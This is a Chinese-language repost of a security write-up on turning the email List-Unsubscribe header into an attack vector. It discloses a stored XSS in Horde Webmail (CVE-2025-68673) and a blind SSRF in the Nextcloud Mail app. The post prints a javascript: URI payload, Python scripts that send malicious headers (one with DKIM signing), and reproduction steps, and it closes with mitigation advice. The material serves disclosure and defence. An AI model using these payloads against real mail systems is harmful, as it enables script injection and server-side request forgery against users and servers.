将List-Unsubscribe头变成SSRF/XSS攻击载体

admin 2025-12-29 00:31:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了将SMTP头部List-Unsubscribe转化为攻击载体的风险,披露了HordeWebmail的存储型XSS漏洞及NextcloudMail的SSRF隐患。通过复现代码展示了攻击过程,建议开发者严格验证URI、禁止javascript协议并限制服务端请求范围,以防御此类安全风险。 综合评分: 90 文章分类: WEB安全,漏洞分析,漏洞POC,渗透测试


cover_image

将 List-Unsubscribe 头变成 SSRF/XSS 攻击载体

(WEB-)INSECURITY

securitainment

2025年12月28日 13:33 中国香港

List-UnsubscribeSMTP 头部已标准化,但在安全评估中常被忽视。它允许邮件客户端为终端用户提供便捷的邮件列表退订功能。

本文讨论在某些场景下,该头部如何被滥用来实施跨站脚本(XSS)与服务端请求伪造(SSRF)攻击。文中给出涉及 Horde Webmail(CVE-2025-68673)与 Nextcloud Mail App 的真实案例,以说明相关风险。

基础知识

List-UnsubscribeSMTP 头部在 RFC 23691 中定义,允许邮件客户端为终端用户提供便捷的邮件列表退订功能。

以下示例取自 RFC 2369, section 3.2:

List-Unsubscribe 字段描述了直接让用户退订(从列表中移除)的命令(优先使用邮件方式)。

示例:

&nbsp; List-Unsubscribe: <mailto:[email protected]?subject=unsubscribe>
&nbsp; List-Unsubscribe: (Use this command to get off the list)
&nbsp; &nbsp; <mailto:[email protected]?body=unsubscribe%20list>
&nbsp; List-Unsubscribe: <mailto:[email protected]>
&nbsp; List-Unsubscribe: <http://www.host.com/list.cgi?cmd=unsub&lst=list>,
&nbsp; &nbsp; <mailto:[email protected]?subject=unsubscribe>

理论上就这么简单。现在听起来还不算太令人兴奋,对吧?

但很容易忽略:最有趣的其实是最后一个示例,它同时包含 HTTP URI 与 mailto 链接。我们能否直接在这里添加任意的 http(s)://URI?那其他 scheme 又如何?

许多现代邮件客户端与网页邮箱应用已实现对该头部的支持,以改善用户体验。例如,当电子邮件包含 List-Unsubscribe头部时,客户端可能会渲染一个按钮或链接,让用户一键退订。这在网页邮箱应用场景中尤其值得关注,因为退订过程可以直接从 Web 界面发起。锚标签、URI……JavaScript URI?可能性无穷无尽。

另一种情况是,某些网页邮箱应用会在终端用户点击退订按钮时,由服务端发起退订请求。如果应用未正确验证提供的 URI,就可能导致服务端请求伪造(SSRF)漏洞。

通过 JavaScript URI 实现的存储型 XSS:Horde Webmail(CVE-2025-68673)

在 Horde(Imp H5 v6.2.27,搭配 Horde Framework5.2.23 及更早版本)中,发现了一个真实的存储型跨站脚本(XSS)漏洞案例。当电子邮件包含 List-UnsubscribeSMTP 头部时,消息详情视图内会渲染一个按钮,允许用户直接从邮件列表中退订。

攻击者可通过注入 JavaScript URI(javascript:)来利用该行为:当终端用户点击链接时,即可在 Horde 安装站点的同源上下文中执行 JavaScript:

<tableclass="horde-table mailinglistinfo">
&nbsp;<tbody>
&nbsp; <tr>
&nbsp; &nbsp;<td>Unsubscribe</td>
&nbsp; &nbsp;<td><ahref="javascript://lhq.at/%0aconfirm(document.domain)"target="_blank">javascript://lhq.at/%0aconfirm(document.domain)</a></td>
&nbsp; </tr>
&nbsp;</tbody>
</table>

可以按以下步骤重现该漏洞:

  1. 发送一封在 List-Unsubscribe头部中包含 JavaScript URI <javascript://lhq.at/%0aconfirm(document.domain)>的电子邮件。根据需要调整 smtp_user和 smtp_password
#!/usr/bin/env python3
import&nbsp;smtplib
from&nbsp;email.message&nbsp;import&nbsp;EmailMessage

defsend_email(smtp_server,&nbsp;smtp_port,&nbsp;smtp_user,&nbsp;smtp_password,&nbsp;sender,&nbsp;recipient,&nbsp;subject,&nbsp;body,&nbsp;headers=None):
try:
# Create the email message
&nbsp; &nbsp; &nbsp; &nbsp; msg&nbsp;=&nbsp;EmailMessage()
&nbsp; &nbsp; &nbsp; &nbsp; msg.set_content(body)
&nbsp; &nbsp; &nbsp; &nbsp; msg['From']&nbsp;=&nbsp;sender
&nbsp; &nbsp; &nbsp; &nbsp; msg['To']&nbsp;=&nbsp;recipient
&nbsp; &nbsp; &nbsp; &nbsp; msg['Subject']&nbsp;=&nbsp;subject

# Add custom headers if provided
if&nbsp;headers:
for&nbsp;header, value&nbsp;in&nbsp;headers.items():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; msg[header]&nbsp;=&nbsp;value

# Connect to the SMTP server and send the email
with&nbsp;smtplib.SMTP(smtp_server, smtp_port)&nbsp;as&nbsp;server:
print(f"Connecting to SMTP server:&nbsp;{smtp_server}:{smtp_port}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; server.starttls()
print("Starting TLS encryption")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; server.login(smtp_user, smtp_password)
print(f"Logged in as&nbsp;{smtp_user}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; server.send_message(msg)
print(f"Email sent to&nbsp;{recipient}&nbsp;successfully.")
exceptExceptionas&nbsp;e:
print(f"Failed to send email:&nbsp;{e}")

if__name__=="__main__":
&nbsp; &nbsp; smtp_server&nbsp;='mail.your-server.de'
&nbsp; &nbsp; smtp_port&nbsp;=587
&nbsp; &nbsp; smtp_user&nbsp;='[REDACTED]'
&nbsp; &nbsp; smtp_password&nbsp;='[REDACTED]'
&nbsp; &nbsp; sender&nbsp;='[email protected]'
&nbsp; &nbsp; recipient&nbsp;='[email protected]'
&nbsp; &nbsp; subject&nbsp;='Test Mail'
&nbsp; &nbsp; body&nbsp;="""
Hey!
&nbsp; &nbsp; """
&nbsp; &nbsp; headers&nbsp;=&nbsp;{
'List-Unsubscribe':&nbsp;'<javascript://lhq.at/%0aconfirm(document.domain)>',
'List-Unsubscribe-Post':&nbsp;'List-Unsubscribe=One-Click'
&nbsp; &nbsp; }

&nbsp; &nbsp; send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers)
  1. 导航到消息详情视图(弹出窗口):https://[REDACTED]/imp/dynamic.php?page=message&buid=10&mailbox=[REDACTED]&token=[REDACTED]&uniq=[REDACTED]

  2. 点击“List Info”:https://[REDACTED]/imp/dynamic.php?page=message&buid=10&mailbox=[REDACTED]&token=[REDACTED]&uniq=[REDACTED]

  3. 注意位于https://[REDACTED]/imp/basic.php?page=listinfo&u=[REDACTED]&buid=10&mailbox=SU5CT1g&uniq=[REDACTED]的退订链接包含 JavaScript URI:

  4. Unsubscribe

  5. javascript://lhq.at/%0aconfirm(document.domain)

  6. 点击链接并观察 JavaScript 执行情况。由于使用了 target="_blank",你需要采用以下方式之一:

  • Ctrl + 点击链接
  • 使用鼠标中键点击链接
  • 右键点击并选择“在新标签页中打开”

此漏洞已于 2024-12-18 报告给 [email protected],但截至 2025-12-18 仍未得到确认。

盲 SSRF:Nextcloud Mail App

Nextcloud 的 Mail 应用支持通过 List-UnsubscribeSMTP 头部来退订邮件列表:

List-Unsubscribe Header

当终端用户退订时,Nextcloud 实例会发出服务端请求:

Ping Back

在我的研究过程中,我发现 Nextcloud 似乎允许通过 List-Unsubscribe头部对任意内部目标发起 SSRF 请求。不过,这可能只有在启用开发配置标志 'allow_local_remote_servers' => true,或存在其他可利用前提时才成立。该判断基于 Nextcloud 在 hackerone.com/reports/2902856 中的评估结论。

请注意,要通过 HTTPS 启用退订功能,需要有效的 DKIM 签名。以下 Python 脚本要求你已完成 DKIM 配置并持有私钥:send.py

#!/usr/bin/env python3
import&nbsp;smtplib
from&nbsp;email.message&nbsp;import&nbsp;EmailMessage
import&nbsp;dkim

defsend_email(smtp_server,&nbsp;smtp_port,&nbsp;smtp_user,&nbsp;smtp_password,&nbsp;sender,&nbsp;recipient,&nbsp;subject,&nbsp;body,&nbsp;headers=None,&nbsp;dkim_selector=None,&nbsp;dkim_domain=None,&nbsp;dkim_private_key=None):
try:
# Create the email message
&nbsp; &nbsp; &nbsp; &nbsp; msg&nbsp;=&nbsp;EmailMessage()
&nbsp; &nbsp; &nbsp; &nbsp; msg.set_content(body)
&nbsp; &nbsp; &nbsp; &nbsp; msg['From']&nbsp;=&nbsp;sender
&nbsp; &nbsp; &nbsp; &nbsp; msg['To']&nbsp;=&nbsp;recipient
&nbsp; &nbsp; &nbsp; &nbsp; msg['Subject']&nbsp;=&nbsp;subject

# Add custom headers if provided
if&nbsp;headers:
for&nbsp;header, value&nbsp;in&nbsp;headers.items():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; msg[header]&nbsp;=&nbsp;value

# Convert the EmailMessage to bytes for DKIM signing
&nbsp; &nbsp; &nbsp; &nbsp; email_bytes&nbsp;=&nbsp;msg.as_bytes()

# Add DKIM signature if provided
if&nbsp;dkim_selector&nbsp;and&nbsp;dkim_domain&nbsp;and&nbsp;dkim_private_key:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dkim_header&nbsp;=&nbsp;dkim.sign(
message=email_bytes,
selector=dkim_selector.encode(),
domain=dkim_domain.encode(),
privkey=dkim_private_key.encode(),
include_headers=['From',&nbsp;'To',&nbsp;'Subject']
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; msg['DKIM-Signature']&nbsp;=&nbsp;dkim_header[len('DKIM-Signature: '):].decode().replace("\n",&nbsp;"").replace("\r",&nbsp;"")

# Connect to the SMTP server and send the email
with&nbsp;smtplib.SMTP(smtp_server, smtp_port)&nbsp;as&nbsp;server:
print(f"Connecting to SMTP server:&nbsp;{smtp_server}:{smtp_port}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; server.starttls()
print("Starting TLS encryption")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; server.login(smtp_user, smtp_password)
print(f"Logged in as&nbsp;{smtp_user}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; server.send_message(msg)
print(f"Email sent to&nbsp;{recipient}&nbsp;successfully.")
exceptExceptionas&nbsp;e:
print(f"Failed to send email:&nbsp;{e}")

# Example usage
if__name__=="__main__":
&nbsp; &nbsp; smtp_server&nbsp;='mail.your-server.de'
&nbsp; &nbsp; smtp_port&nbsp;=587
&nbsp; &nbsp; smtp_user&nbsp;='[REDACTED]'
&nbsp; &nbsp; smtp_password&nbsp;='[REDACTED]'
&nbsp; &nbsp; sender&nbsp;='[email protected]'
&nbsp; &nbsp; recipient&nbsp;='[email protected]'
&nbsp; &nbsp; subject&nbsp;='[Your Mailing List] Test Mail'
&nbsp; &nbsp; body&nbsp;="""
<s>Test123!
&nbsp; &nbsp; """
&nbsp; &nbsp; headers&nbsp;=&nbsp;{
'List-Unsubscribe':&nbsp;'<http://abcdef.oastify.com>',
'List-Unsubscribe-Post':&nbsp;'List-Unsubscribe=One-Click'
&nbsp; &nbsp; }
&nbsp; &nbsp; dkim_selector&nbsp;='default'
&nbsp; &nbsp; dkim_domain&nbsp;='lhq.at'
&nbsp; &nbsp; dkim_private_key&nbsp;="""-----BEGIN PRIVATE KEY-----
[REDACTED]
-----END PRIVATE KEY-----"""

&nbsp; &nbsp; send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers, dkim_selector, dkim_domain, dkim_private_key)

可以按以下步骤通过外部协作器重现 SSRF:

  1. 为你的域设置 DKIM,并更新 dkim_selectordkim_domain和 dkim_private_key
  2. 调整 smtp_user和 smtp_password
  3. 使用你将在 Nextcloud 实例中使用的账户作为 recipient
  4. 将你的协作器实例地址填入'List-Unsubscribe': '<http://abcdef.oastify.com>'
  5. 通过 python send.py发送电子邮件。
  6. 浏览接收到的电子邮件并点击 “unsubscribe”

建议

总体建议非常简单:将应用程序的所有输入都视为潜在危险,尤其是当它会被解释为 URI/URL 时。

在实现对 List-UnsubscribeSMTP 头部的支持时,网页邮箱应用应当:

  • 验证并清理提供的 URI,以防止 XSS 攻击。例如,禁止 javascript:URI。更多指导请参考 OWASP XSS Prevention Cheat Sheet2。
  • 实施适当的服务端校验以防止 SSRF 攻击,例如限制退订链接可访问的域名或 IP 地址范围。更多指导请参考 OWASP SSRF Prevention Cheat Sheet3。
  • 记录退订请求,用于审计与监控。

结论

本文再次展示:当旧标准与协议在现代应用中落地实现时,仍可能蕴含有趣的安全隐患。List-UnsubscribeSMTP 头部虽然旨在增强用户体验,但若处理不当,便可能被用于 XSS 与 SSRF 攻击。

如果你的漏洞赏金或渗透测试目标包含网页邮箱应用,不妨测试一下 List-Unsubscribe头部是否存在潜在漏洞。你可能会对结果感到惊讶!

总的来说,这项研究强调:在评估实现了相关 RFC 与标准的应用程序时,阅读并理解这些规范至关重要。即便是看似无害的功能,如果实现不够谨慎,也可能引入重大的安全风险。


Turning List-Unsubscribe into an SSRF/XSS Gadget

免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:securitainment (WEB-)INSECURITY《将 List-Unsubscribe 头变成 SSRF/XSS 攻击载体》

评论:0   参与:  0